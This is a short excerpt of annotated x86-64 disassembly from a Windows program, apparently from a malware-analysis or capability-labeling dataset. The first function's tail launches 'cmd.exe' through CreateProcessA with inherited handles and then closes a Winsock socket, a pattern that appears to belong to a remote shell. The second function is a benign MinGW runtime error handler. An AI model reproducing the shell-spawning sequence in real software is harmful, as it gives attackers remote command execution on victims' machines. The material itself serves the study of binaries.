mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x40], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
nop
add rsp, 0x2a0
pop rbp
ret

Function at 0x3906b17e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]